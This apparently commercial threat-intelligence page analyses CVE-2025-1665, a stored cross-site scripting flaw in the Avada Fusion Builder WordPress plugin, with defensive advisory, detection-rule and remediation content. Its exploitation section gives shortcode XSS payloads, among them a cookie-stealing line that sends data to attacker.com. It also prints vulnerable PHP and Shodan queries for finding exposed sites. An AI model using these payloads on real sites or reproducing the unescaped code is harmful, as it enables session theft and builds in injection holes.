☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-1665

CVE-2025-1665 Cross-Site Scripting in Avada
📅 PUBLISHED: 2025-04-01 05:22 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1665 is a Stored Cross-Site Scripting (XSS) vulnerability in the Avada (Fusion) Builder plugin for WordPress, affecting all versions up to and including 3.11.14. The flaw resides in multiple shortcodes provided by the plugin, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When other users (including administrators) view the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used premium theme builder, and the stored nature of the XSS means the payload persists until manually removed. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for significant impact due to the stored and cross-site nature of the attack.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the Envato Market and the Avada theme bundle. There is no NPM, PyPI, Go, or Ruby package involved. The risk is primarily to WordPress site owners who have installed the Avada theme with the Fusion Builder plugin. The lack of a public patch or advisory from the vendor increases the supply chain risk, as users must rely on unofficial mitigations or wait for an update.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – The attacker needs contributor-level access to the WordPress site.
  • User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (the victim's browser).
  • Confidentiality (C): Low (L) – Limited information disclosure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS can lead to privilege escalation and lateral movement within the WordPress environment.

Deep Dive & Mechanics

The Avada (Fusion) Builder plugin registers several shortcodes (e.g., [fusion_button], [fusion_image], [fusion_text]) that accept user-defined attributes. The vulnerability arises because the plugin fails to properly sanitize and escape these attributes before rendering them in the page HTML.

When a contributor creates or edits a post/page, they can insert a shortcode with a malicious attribute value. For example:

[fusion_button link="javascript:alert('XSS')"]Click Me[/fusion_button]

Or more stealthily, using an event handler:

[fusion_image src="x" onerror="alert(document.cookie)"]

The plugin processes the shortcode and outputs the attribute value directly into the HTML without escaping. When the page is rendered, the browser interprets the injected JavaScript, leading to XSS execution.

The vulnerability is stored because the malicious shortcode is saved in the WordPress database and executed every time the page is loaded. This makes it persistent and dangerous for all users who visit the affected page.

Vulnerable vs. Patched Code

Vulnerable Code (Fusion Builder <= 3.11.14):

In the shortcode handler (e.g., fusion_button.php), the attribute link is output directly:

<?php
function fusion_button_shortcode($atts) {
    extract(shortcode_atts(array(
        'link' => '',
        'color' => 'default',
    ), $atts));
    // Vulnerable: no escaping
    return '<a href="' . $link . '" class="fusion-button">Click</a>';
}
add_shortcode('fusion_button', 'fusion_button_shortcode');
?>

Patched Code (Hypothetical Fix):

The patched version would use esc_url() for URL attributes and esc_attr() for other attributes:

<?php
function fusion_button_shortcode($atts) {
    extract(shortcode_atts(array(
        'link' => '',
        'color' => 'default',
    ), $atts));
    // Patched: escape the URL
    return '<a href="' . esc_url($link) . '" class="fusion-button">Click</a>';
}
add_shortcode('fusion_button', 'fusion_button_shortcode');
?>

Additionally, for attributes that allow HTML (like title), wp_kses() or esc_html() should be used to prevent script injection.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

  • A WordPress site with Avada (Fusion) Builder <= 3.11.14 installed.
  • An account with contributor-level privileges or higher.

Exploitation Steps:

  1. Login to the WordPress admin panel as a contributor.
  2. Create a new post or edit an existing one.
  3. Switch to Text/Code editor (not Visual).
  4. Insert a malicious shortcode such as:
    [fusion_button link="javascript:alert('XSS')"]Click[/fusion_button]
    
    Or for a more sophisticated payload:
    [fusion_image src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
    
  5. Publish or update the post.
  6. Wait for an administrator or other user to view the page. The script executes in their browser.

Lab Setup:

  • Use a local WordPress installation (e.g., via Docker or XAMPP).
  • Install Avada theme with Fusion Builder version 3.11.14.
  • Create a contributor user.
  • Use a browser with developer tools to verify the XSS execution.

Blue Team (Defender) Perspective

Detection:

  • Monitor for posts containing suspicious shortcode attributes (e.g., javascript:, onerror=, onload=).
  • Use web application firewalls (WAF) to block common XSS patterns in post content.
  • Review user activity logs for unusual shortcode usage by contributors.

Prevention:

  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use a WordPress security plugin that scans for malicious shortcodes.

Response:

  • If a malicious shortcode is found, remove it from the post content.
  • Reset the affected user's password and review their activity.
  • Apply the vendor patch as soon as it becomes available.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Presence of shortcodes with javascript: or event handler attributes in wp_posts table.
    • Modified fusion-builder plugin files (though unlikely if using official version).
  • Network Indicators:

    • Outbound connections to attacker-controlled domains from the WordPress server.
    • HTTP requests containing javascript: or onerror= in the post_content parameter.
  • Log Indicators:

    • WordPress audit logs showing creation/editing of posts by contributors with suspicious shortcode usage.
    • Web server logs showing requests to pages containing the malicious shortcode.
  • Behavioral Indicators:

    • Unexpected JavaScript execution in browsers of users viewing certain pages.
    • Unauthorized cookie theft or session hijacking attempts.

Detection Engineering

YARA Rule

rule CVE_2025_1665_Stored_XSS_Avada {
    meta:
        description = "Detects stored XSS payloads targeting Avada Fusion Builder shortcodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1665"
        severity = "medium"
    strings:
        $shortcode = /\[fusion_\w+\s[^\]]*(?:javascript:|on\w+\s*=)/i
        $payload1 = /javascript:\s*\w+/i
        $payload2 = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
    condition:
        $shortcode and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2025-1665 Stored XSS in Avada Fusion Builder
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Avada Fusion Builder shortcodes in WordPress posts
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '[fusion_button link="javascript:'
            - '[fusion_image src="x" onerror='
            - '[fusion_text onmouseover='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcodes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1665 Stored XSS in Avada Fusion Builder"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_content"; http_client_body; pcre:"/\[fusion_\w+\s[^\]]*(?:javascript:|on\w+\s*=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Avada (Fusion) Builder plugin until a patch is available.
  2. Review all posts and pages for suspicious shortcode usage, especially those created by contributor-level users.
  3. Restrict contributor roles to only trusted users and consider using a role editor plugin to limit shortcode capabilities.

Long-term Fix:

  • Apply the vendor patch as soon as it is released. Monitor the Avada changelog or Envato notifications.
  • Upgrade to the latest version of the Avada theme and Fusion Builder plugin.
  • Implement a Web Application Firewall (WAF) with rules to block XSS payloads in post content.

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence, Sucuri) that can block malicious shortcodes.
  • Manually add escaping functions to the plugin's shortcode handlers (if you have developer access), but this will be overwritten on update.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valters.it.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Avada"
http.html:"fusion_builder"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1665/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.